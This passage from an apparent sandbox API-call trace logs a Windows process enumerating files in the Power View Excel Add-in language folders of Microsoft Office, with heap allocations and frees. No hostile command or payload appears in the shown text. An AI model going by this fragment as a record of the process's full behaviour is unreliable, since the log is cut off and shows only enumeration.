ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b1c8 [0091.299] FindNextFileW (in: hFindFile=0x3b8b1c8, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="..", cAlternateFileName="")) returned 1 [0091.299] FindNextFileW (in: hFindFile=0x3b8b1c8, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3ac8, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0091.299] FindNextFileW (in: hFindFile=0x3b8b1c8, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ad0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.299] FindNextFileW (in: hFindFile=0x3b8b1c8, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.300] FindNextFileW (in: hFindFile=0x3b8b1c8, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a9d821, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9bf4d66, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4920, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.300] FindNextFileW (in: hFindFile=0x3b8b1c8, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133cde53, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50101, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.cs.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0091.300] FindNextFileW (in: hFindFile=0x3b8b1c8, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133cde53, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50101, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.cs.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0091.300] FindClose (in: hFindFile=0x3b8b1c8 | out: hFindFile=0x3b8b1c8) returned 1 [0091.301] GetProcessHeap () returned 0x11a0000 [0091.301] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0091.301] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="da", cAlternateFileName="")) returned 1 [0091.301] GetProcessHeap () returned 0x11a0000 [0091.301] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0091.301] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b048 [0091.307] FindNextFileW (in: hFindFile=0x3b8b048, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="..", cAlternateFileName="")) returned 1 [0091.307] FindNextFileW (in: hFindFile=0x3b8b048, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a6473, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4258, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0091.307] FindNextFileW (in: hFindFile=0x3b8b048, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12068, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.307] FindNextFileW (in: hFindFile=0x3b8b048, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68b32cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68b32cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68ff786, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.308] FindNextFileW (in: hFindFile=0x3b8b048, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ee20e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.308] FindNextFileW (in: hFindFile=0x3b8b048, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ebba, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.da.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0091.308] FindNextFileW (in: hFindFile=0x3b8b048, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ebba, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.da.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0091.308] FindClose (in: hFindFile=0x3b8b048 | out: hFindFile=0x3b8b048) returned 1 [0091.574] GetProcessHeap () returned 0x11a0000 [0091.574] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0091.574] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="de", cAlternateFileName="")) returned 1 [0091.574] GetProcessHeap () returned 0x11a0000 [0091.574] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0091.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b308 [0091.577] FindNextFileW (in: hFindFile=0x3b8b308, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="..", cAlternateFileName="")) returned 1 [0091.577] FindNextFileW (in: hFindFile=0x3b8b308, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x44a38de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x44a38de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4eb8, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0091.578] FindNextFileW (in: hFindFile=0x3b8b308, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37acc11, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14060, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.578] FindNextFileW (in: hFindFile=0x3b8b308, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.578] FindNextFileW (in: hFindFile=0x3b8b308, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x91adba5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91d3da7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50b0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.578] FindNextFileW (in: hFindFile=0x3b8b308, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133f40a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x502f9, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.de.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0091.578] FindNextFileW (in: hFindFile=0x3b8b308, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133f40a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x502f9, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.de.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0091.578] FindClose (in: hFindFile=0x3b8b308 | out: hFindFile=0x3b8b308) returned 1 [0091.579] GetProcessHeap () returned 0x11a0000 [0091.579] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0091.579] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="el", cAlternateFileName="")) returned 1 [0091.579] GetProcessHeap () returned 0x11a0000 [0091.579] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0091.579] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b008 [0091.584] FindNextFileW (in: hFindFile=0x3b8b008, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="..", cAlternateFileName="")) returned 1 [0091.584] FindNextFileW (in: hFindFile=0x3b8b008, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf46b8986, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc5240, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0091.584] FindNextFileW (in: hFindFile=0x3b8b008, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b040, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.584] FindNextFileW (in: hFindFile=0x3b8b008, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.584] FindNextFileW (in: hFindFile=0x3b8b008, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.585] FindNextFileW (in: hFindFile=0x3b8b008, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15365236, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x53c40, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.el.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0091.585] FindNextFileW (in: hFindFile=0x3b8b008, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15365236, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x53c40, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.el.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0091.585] FindClose (in: hFindFile=0x3b8b008 | out: hFindFile=0x3b8b008) returned 1 [0091.586] GetProcessHeap () returned 0x11a0000 [0091.586] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0091.586] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="es", cAlternateFileName="")) returned 1 [0091.586] GetProcessHeap () returned 0x11a0000 [0091.586] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0091.586] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b208 [0091.589] FindNextFileW (in: hFindFile=0x3b8b208, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="..", cAlternateFileName="")) returned 1 [0091.589] FindNextFileW (in: hFindFile=0x3b8b208, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75a8fbb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75a8fbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x153fdb85, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4e58, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0091.589] FindNextFileW (in: hFindFile=0x3b8b208, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x38b7c4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x38b7c4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x38b7c4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13080, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.589] FindNextFileW (in: hFindFile=0x3b8b208, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb654e78, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb654e78, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb654e78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.589] FindNextFileW (in: hFindFile=0x3b8b208, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x29f7370, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x29f7370, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4918, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.589] FindNextFileW (in: hFindFile=0x3b8b208, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, 